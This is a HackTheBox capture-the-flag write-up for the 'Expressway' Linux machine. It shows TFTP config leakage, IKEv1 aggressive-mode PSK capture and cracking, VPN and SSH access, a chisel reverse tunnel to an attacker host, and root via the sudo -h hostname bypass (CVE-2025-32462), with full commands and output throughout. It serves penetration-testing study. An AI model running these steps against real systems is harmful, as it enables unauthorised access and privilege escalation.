Skip to content
HackIndex logo

HackIndex

Expressway Writeup - HackTheBox

Easy Linux
HackTheBox Discuss on Discord

Last updated July 14, 2026 • 3 min read

Joshua

HackIndex Creator

Discovery

Port Scan

┌──(kali㉿kali)-[~]
└─$ nmap_full $TARGET_IP 
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8

Only SSH on TCP. SSH banner and host key enumeration reveals nothing useful. Move to UDP.

┌──(kali㉿kali)-[~]
└─$ nmap_udp $TARGET_IP 
PORT     STATE         SERVICE
69/udp   open|filtered tftp
500/udp  open          isakmp
4500/udp open|filtered nat-t-ike

Port 500 is ISAKMP — this host is running an IPsec VPN endpoint. Port 69 is TFTP.

Initial Access

TFTP Config Leak

Enumerate TFTP for exposed files:

┌──(kali㉿kali)-[~]
└─$ nmap -sU -p 69 --script tftp-enum $TARGET_IP 
| tftp-enum:
|_  ciscortr.cfg

Retrieve the Cisco router configuration:

┌──(kali㉿kali)-[~]
└─$ tftp $TARGET_IP -c get ciscortr.cfg 
crypto isakmp client configuration group rtr-remote
    key secret-password
    dns 208.67.222.222
    domain expressway.htb
    pool dynpool

The config reveals the IPsec client group configuration:

The group name is rtr-remote and the pre-shared key is secret-password. The config also shows the VPN identity: ike@@expressway.htb.

IPsec IKEv1 Aggressive Mode PSK Crack

Probe the IKE service to confirm the negotiated transform set:

┌──(kali㉿kali)-[~]
└─$ ike-scan -M $TARGET_IP 
10.10.11.87  Main Mode Handshake returned
    SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
    VID=09002689dfd6b712 (XAUTH)
    VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Transform: 3DES / SHA1 / modp1024 / PSK. Aggressive mode exposes the PSK hash in the handshake — capture it:

┌──(kali㉿kali)-[~]
└─$ sudo ike-scan -A -Phash.txt $TARGET_IP 
Aggressive Mode Handshake returned
    ID(Type=ID_USER_FQDN, [email protected])
    Hash(20 bytes)

The hash is written to hash.txt. Crack it:

┌──(kali㉿kali)-[~]
└─$ psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt 
key "freakingrockstarontheroad" matches SHA1 hash 5c176bbb9c7f0f960385183b00331fd05b033d73

VPN Tunnel Setup

Configure strongSwan to connect using the cracked PSK and group identity from the router config:

# /etc/ipsec.conf
conn htb_express
    keyexchange=ikev1
    aggressive=yes
    authby=secret
    ike=3des-sha1-modp1024
    esp=3des-sha1
    xauth=client
    xauth_identity=rtr-remote
    left=%defaultroute
    leftid=ike
    leftsourceip=%config
    right=$TARGET_IP
    rightid=ike@@expressway.htb
    auto=add
# /etc/ipsec.secrets
: PSK "freakingrockstarontheroad"
┌──(kali㉿kali)-[~]
└─$ sudo ipsec start
┌──(kali㉿kali)-[~]
└─$ sudo ipsec up htb_express

The tunnel establishes and assigns a VPN IP. SSH now works using the PSK as the password:

┌──(kali㉿kali)-[~]
└─$ ssh ike@$TARGET_IP

Password: $IKE_PASSWORD. SSH access as ike.

Internal Network Pivot

Discovering offramp.expressway.htb

Search for internal hostnames referenced on the box:

user@host ~ $ bash finder.sh expressway.htb /var 
/var/log/squid/access.log.1:offramp.expressway.htb

A hostname not seen externally. Resolve it:

user@host ~ $ ping offramp.expressway.htb 
PING offramp.expressway.htb (192.168.178.34)

Set up a SOCKS5 tunnel via chisel to reach the internal network:

┌──(kali㉿kali)-[~]
└─$ # Attacker machine
┌──(kali㉿kali)-[~]
└─$ chisel server -p 8001 --socks5 --reverse
user@host ~ $ # Target machine
user@host ~ $ ./chisel client $ATTACKER_IP:8001 R:socks

Scan offramp.expressway.htb (192.168.178.34) through the tunnel:

┌──(kali㉿kali)-[~]
└─$ proxychains nmap -sV 192.168.178.34 
PORT     STATE SERVICE VERSION
5000/tcp open  rtsp    AirTunes/870.14.1
7000/tcp open  rtsp    AirTunes/870.14.1
9080/tcp open  http    nginx 1.29.4

Port 9080 returns a robots.txt with / disallowed — the web service is locked down. The AirTunes ports are Apple AirPlay, not relevant. The internal network subnet scan (192.168.178.0/24) shows only four hosts, none with additional attack surface.

Privilege Escalation

CVE-2025-32462 — sudo -h Hostname Bypass

Linpeas flags two sudo binaries, including a non-standard one at /usr/local/bin/sudo:

-rwsr-xr-x 1 root root 1023K Aug 29 15:18 /usr/local/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable

Check the version:

user@host ~ $ sudo -V 
Sudo version 1.9.17

CVE-2025-32462 affects sudo 1.9.17 and earlier. The -h flag lets a user specify a remote hostname for sudoers lookups. If a remote sudoers source is configured, sudo will query it using the supplied hostname rather than the local machine name — bypassing local restrictions entirely.

The offramp.expressway.htb host was found in internal logs. Query its sudoers:

user@host ~ $ sudo -l -h offramp.expressway.htb 
User ike may run the following commands on offramp:
    (root) NOPASSWD: ALL
    (root) NOPASSWD: ALL

The remote host grants ike unrestricted passwordless sudo. Escalate:

user@host ~ $ sudo -h offramp.expressway.htb su 
root@expressway:/tmp#

Root shell.

Related

TFTP Anonymous File Enumeration
Blog

TFTP Anonymous File Enumeration

Enumerate files accessible via unauthenticated TFTP using UDP/69, leveraging the protocol's lack of...
IKEv1 Aggressive Mode PSK Capture and Cracking
Blog

IKEv1 Aggressive Mode PSK Capture and Cracking

Exploit IKEv1 aggressive mode to capture PSK handshakes via ike-scan, then crack the hash offline us...
SSH Port Forwarding and Tunneling on Linux
Blog

SSH Port Forwarding and Tunneling on Linux

Covers SSH local, remote & dynamic port forwarding techniques to tunnel traffic, bypass network rest...
Sudo Misconfiguration Privilege Escalation
Blog

Sudo Misconfiguration Privilege Escalation

Exploiting misconfigured sudo rules to escalate privileges on Linux systems, covering NOPASSWD entri...
Vulnerability

CVE-2025-32462 - Sudoers Host Escape

References